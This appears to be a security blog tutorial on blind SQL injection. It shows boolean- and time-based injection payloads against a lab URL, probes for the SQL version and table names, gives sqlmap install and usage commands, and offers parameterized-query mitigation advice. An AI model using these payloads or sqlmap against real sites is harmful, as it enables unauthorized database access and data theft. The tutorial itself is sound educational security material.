Blind SQL Injection

Blind SQL injection is similar to normal SQL injection, except that the HTTP responses will not contain the results of the relevant SQL query and a generic error page is shown instead. Only one bit of information (true/false) can be extracted per request – but that is all it takes.

We are going to take a look at how to find the most common types of blind SQL vulnerabilities, how to exploit them in order to exfiltrate data and also how to mitigate the risk in your own applications.

Finding the vulnerability

I always add an apostrophe (') to all GET parameters in all websites I visit. It’s easy, does not need any tools and if you detect anything suspicious, just throw sqlmap at it. – Anonymous

The most straightforward way of detecting a blind SQL injection vulnerability has a lot of overlap with classical SQL injection testing – find where user input is used directly in a database query and think of some input data that would break the structure of the query string.

Boolean-based blind SQL injection

Example 1

http://vulnerable.lab/photo.php?id=1
Photo 1 loaded successfully

http://vulnerable.lab/photo.php?id=1'
Photo 1 load fails

http://vulnerable.lab/photo.php?id=2-1
Photo 1 loaded successfully

http://vulnerable.lab/photo.php?id=1 and 1=1
Normal page returned (true response)

http://vulnerable.lab/photo.php?id=1 and 0=1
Blank page returned or errors (false response)

Time-based blind SQL injection

http://vulnerable.lab/photo.php?id=1-SLEEP(10)
Normal page returned after a delay of 10 seconds

http://vulnerable.lab/photo.php?id=1' waitfor delay '00:00:10'--
Same for MSSQL

Exploiting

Once you have your true and false queries, you can start exfiltrating data from the backend.

Check SQL Version:

http://vulnerable.lab/photo.php?id=1 AND substring(version(),1,1)=4
Blank page returned (false response)

http://vulnerable.lab/photo.php?id=1 AND substring(version(),1,1)=5
Normal page returned (true response)

Check if subqueries are enabled:

http://vulnerable.lab/photo.php?id=1 AND select(1)=1

Check table names:

http://vulnerable.lab/photo.php?id=1 AND (select 1 from admin limit 0,1)=1
Blank page returned (no admin table)

http://vulnerable.lab/photo.php?id=1 AND (select 1 from users limit 0,1)=1
Normal page returned (table users exists!)

Cheatsheets

For more exfiltration ideas, please have a look at pentestmonkey’s cheatsheets for MySQLMSSQLPostgreSQL and Oracle SQL.

Automated exploiting

The sqlmap tool is pre-installed on Kali Linux and is easily available on other Linux distributions. Sqlmap can detect and exploit various types of SQL injection, including Time and Boolean-based blind SQL injection.

Install

Make sure you have python installed, then just download the latest zip and extract, or clone via git:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev

Usage

python sqlmap.py -u 'http://vulnerable.lab/photo.php?id=1'

For more info on sqlmap, have a look at python sqlmap.py --help or check the official guide.

Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Mitigation

Although the techniques needed to find and exploit blind SQL injection vulnerabilities are different and more sophisticated than for regular SQL injection, the measures needed to prevent SQL injection are the same regardless of whether the vulnerability is blind or not.

As with regular SQL injection, blind SQL injection attacks can be prevented through the careful use of parameterized queries, which ensure that user input cannot interfere with the structure of the intended SQL query.

Just to drive the point home: Use parametrized queries. Do not concatenate strings in your queries. OWASP has a cheat sheet for parametrized queries in all types of languages.

Example for PHP from OWASP cheat sheet:

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);

Using a Web Application Firewall, such as Sucuri, ModSecurity or NAXSI, can prevent malicious SQL injection attempts from reaching your server.

Please also keep in mind that new WAF bypasses are occasionally discovered. Sqlmap has many tampering scripts for various web application firewalls, so your mileage may vary.

Conclusion

Even though exploiting blind SQL injection vulnerabilities might need additional steps before any useful data can be exfiltrated, it is just as dangerous as classic injection attacks.

Test your skills with new RangeForce modules.

Written by Kert Ojassoo, security engineer